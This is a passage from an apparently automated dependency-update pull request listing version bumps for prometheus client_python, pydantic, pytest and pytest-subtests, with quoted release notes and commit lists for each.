instead of packaging Version (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1136\"\u003e#1136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/f9471403a82de6af93feeac2d38938ca1c384b6d\"\u003e\u003ccode\u003ef947140\u003c/code\u003e\u003c/a\u003e fix: Use \u003ccode\u003easyncio.new_event_loop()\u003c/code\u003e to create event loop for tests (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1138\"\u003e#1138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b9e78a3f701fd442f57db23701c2021a529a84c3\"\u003e\u003ccode\u003eb9e78a3\u003c/code\u003e\u003c/a\u003e Release 0.23.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b3fbbca891a6c6d07b83a3680919956a3c3ab523\"\u003e\u003ccode\u003eb3fbbca\u003c/code\u003e\u003c/a\u003e Fix issue parsing double spaces after # HELP/# TYPE (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1134\"\u003e#1134\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/47d2b416d75f5569863e2bb08a15b58218563814\"\u003e\u003ccode\u003e47d2b41\u003c/code\u003e\u003c/a\u003e Do not use global when only reading variable (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1133\"\u003e#1133\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/4de31eee009a527ba7a5cda76a4aef403df7ab0d\"\u003e\u003ccode\u003e4de31ee\u003c/code\u003e\u003c/a\u003e fix: remove space after comma in openmetrics exposition (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1132\"\u003e#1132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/3586355e648f1d8a058cdb711bc2ce920ce58ca4\"\u003e\u003ccode\u003e3586355\u003c/code\u003e\u003c/a\u003e Emit native histograms only when OM 2.0.0 is requested (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1128\"\u003e#1128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/9e3eb6c7e146d8003d12e24db56f5abfcc0bbef6\"\u003e\u003ccode\u003e9e3eb6c\u003c/code\u003e\u003c/a\u003e Fix bug which caused metric publishing to not accept query string parameters ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/d358f469a7bc2480005775a9be8de30c20c88ab6\"\u003e\u003ccode\u003ed358f46\u003c/code\u003e\u003c/a\u003e Bump flake8 libraries (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1127\"\u003e#1127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.19.0...v0.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pydantic` from 2.4.2 to 2.12.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/releases\"\u003epydantic's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 2025-11-05\u003c/h2\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method of the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.3 2025-10-17\u003c/h2\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.13 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported \u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided to emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also adds back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still \u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.2 2025-10-14\u003c/h2\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/blob/v2.12.4/HISTORY.md\"\u003epydantic's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.4\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in\n\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.3\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.12 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported\n\u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided\nto emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also add back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still\n\u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/5c842dfc9c245fb37aa1f5ec5b55c1aed10bd7e6\"\u003e\u003ccode\u003e5c842df\u003c/code\u003e\u003c/a\u003e Prepare release v2.12.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/c678a710e8b8bb2ff4dce6233c6d5c88dc579136\"\u003e\u003ccode\u003ec678a71\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003epydantic-core\u003c/code\u003e to v2.41.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/a7cd29254b2611c5768beb86e7ffd2c1c130a19a\"\u003e\u003ccode\u003ea7cd292\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003ecloudpickle\u003c/code\u003e to v3.1.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/21f627801b5eedfa87bed55925f73cf329cc9c2c\"\u003e\u003ccode\u003e21f6278\u003c/code\u003e\u003c/a\u003e Bump actions/setup-node from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/8d6be8fea9662203977b95758d97ec298edcd54a\"\u003e\u003ccode\u003e8d6be8f\u003c/code\u003e\u003c/a\u003e Bump astral-sh/setup-uv from 6 to 7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/17865ea3a1fd389ba697990b762f82a419a48221\"\u003e\u003ccode\u003e17865ea\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 4 to 5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/90ad0af6b9340f72dde77997ed18fc180771e69f\"\u003e\u003ccode\u003e90ad0af\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/18e6672b6fdeaeb75ccbbcb3c7883509b1f56cb3\"\u003e\u003ccode\u003e18e6672\u003c/code\u003e\u003c/a\u003e Drop testing under PyPy 3.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/650215be2d2336a72af481b724b368fed356d7e8\"\u003e\u003ccode\u003e650215b\u003c/code\u003e\u003c/a\u003e Document workaround for \u003ccode\u003eMongoDsn\u003c/code\u003e default port\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/e3267902272d8290ed6d1ae06f43052b2968ef14\"\u003e\u003ccode\u003ee326790\u003c/code\u003e\u003c/a\u003e Fix example of for \u003ccode\u003ebytes_invalid_encoding\u003c/code\u003e validation error\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.4.2...v2.12.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pytest` from 7.4.3 to 7.4.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytest-dev/pytest/releases\"\u003epytest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003epytest 7.4.4 (2023-12-31)\u003c/h2\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11140\"\u003e#11140\u003c/a\u003e: Fix non-string constants at the top of file being detected as docstrings on Python\u0026gt;=3.8.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11572\"\u003e#11572\u003c/a\u003e: Handle an edge case where \u003ccode\u003esys.stderr\u003c/code\u003e{.interpreted-text role=\u0026quot;data\u0026quot;} and \u003ccode\u003esys.__stderr__\u003c/code\u003e{.interpreted-text role=\u0026quot;data\u0026quot;} might already be closed when \u003ccode\u003efaulthandler\u003c/code\u003e{.interpreted-text role=\u0026quot;ref\u0026quot;} is tearing down.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11710\"\u003e#11710\u003c/a\u003e: Fixed tracebacks from collection errors not getting pruned.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/7966\"\u003e#7966\u003c/a\u003e: Removed unhelpful error message from assertion rewrite mechanism when exceptions are raised in \u003ccode\u003e__iter__\u003c/code\u003e methods. Now they are treated un-iterable instead.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eImproved Documentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11091\"\u003e#11091\u003c/a\u003e: Updated documentation to refer to hyphenated options: replaced \u003ccode\u003e--junitxml\u003c/code\u003e with \u003ccode\u003e--junit-xml\u003c/code\u003e and \u003ccode\u003e--collectonly\u003c/code\u003e with \u003ccode\u003e--collect-only\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/33f694f4b30c5c502f21f81cb8ab907b12ad2f65\"\u003e\u003ccode\u003e33f694f\u003c/code\u003e\u003c/a\u003e Prepare release version 7.4.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/76c107c463afcaddf74ca48252614728c6829ea7\"\u003e\u003ccode\u003e76c107c\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11751\"\u003e#11751\u003c/a\u003e from bluetech/backport-11143-to-7.4.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/531d76daa4a871df5b2a46cae132851c29abf027\"\u003e\u003ccode\u003e531d76d\u003c/code\u003e\u003c/a\u003e [7.4.x] Improve reporting from \u003cstrong\u003eiter\u003c/strong\u003e exceptions (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11749\"\u003e#11749\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/a0f58fa9e7f9b09b212ed491464be5df9b80fc0b\"\u003e\u003ccode\u003ea0f58fa\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11143\"\u003e#11143\u003c/a\u003e from tushar-deepsource/patch-1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/b1f3387d42571090ee4a35ec1945765b7f2ffae8\"\u003e\u003ccode\u003eb1f3387\u003c/code\u003e\u003c/a\u003e [7.4.x] \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11091\"\u003e#11091\u003c/a\u003e: documentation should use hypthonated properties (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11750\"\u003e#11750\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/2cdd619bf49ee7c5306dc70dcbf71090839ea985\"\u003e\u003ccode\u003e2cdd619\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11747\"\u003e#11747\u003c/a\u003e from pytest-dev/backport-11711-to-7.4.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/d06c05bd23ea6af8e07fd944e56c58b64375b724\"\u003e\u003ccode\u003ed06c05b\u003c/code\u003e\u003c/a\u003e [7.4.x] nodes: fix tracebacks from collection errors are not getting pruned\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/5582bfcddf78929f7979c5023b167b333e1c2dd9\"\u003e\u003ccode\u003e5582bfc\u003c/code\u003e\u003c/a\u003e [7.4.x] Improves clarity in Sphinx documentation for function signature. (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11\"\u003e#11\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/13024efd7afdbae80ce70d27295d9bbe62670cb8\"\u003e\u003ccode\u003e13024ef\u003c/code\u003e\u003c/a\u003e [7.4.x] Fix for operation on closed file in faulthandler teardown (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11631\"\u003e#11631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest/commit/a40dacf6577ae990740e10572582538dfaf357b6\"\u003e\u003ccode\u003ea40dacf\u003c/code\u003e\u003c/a\u003e [7.4.x] XFAIL TestLocalPath.test_make_numbered_dir_multiprocess_safe (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest/issues/11616\"\u003e#11616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytest-dev/pytest/compare/7.4.3...7.4.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pytest-subtests` from 0.14.2 to 0.15.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/blob/main/CHANGELOG.rst\"\u003epytest-subtests's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2025-10-20\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded experimental \u003ccode\u003e--no-subtests-reports\u003c/code\u003e CLI option. This disables\nsubtests output unless it's a failed subtest. (\u003ccode\u003e[#198](https://github.com/pytest-dev/pytest-subtests/issues/198)\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e.. _\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/198\"\u003e#198\u003c/a\u003e: \u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/pull/198\"\u003epytest-dev/pytest-subtests#198\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/ff19523c499fcc0a04c999b6614dbfdc3e684629\"\u003e\u003ccode\u003eff19523\u003c/code\u003e\u003c/a\u003e Release 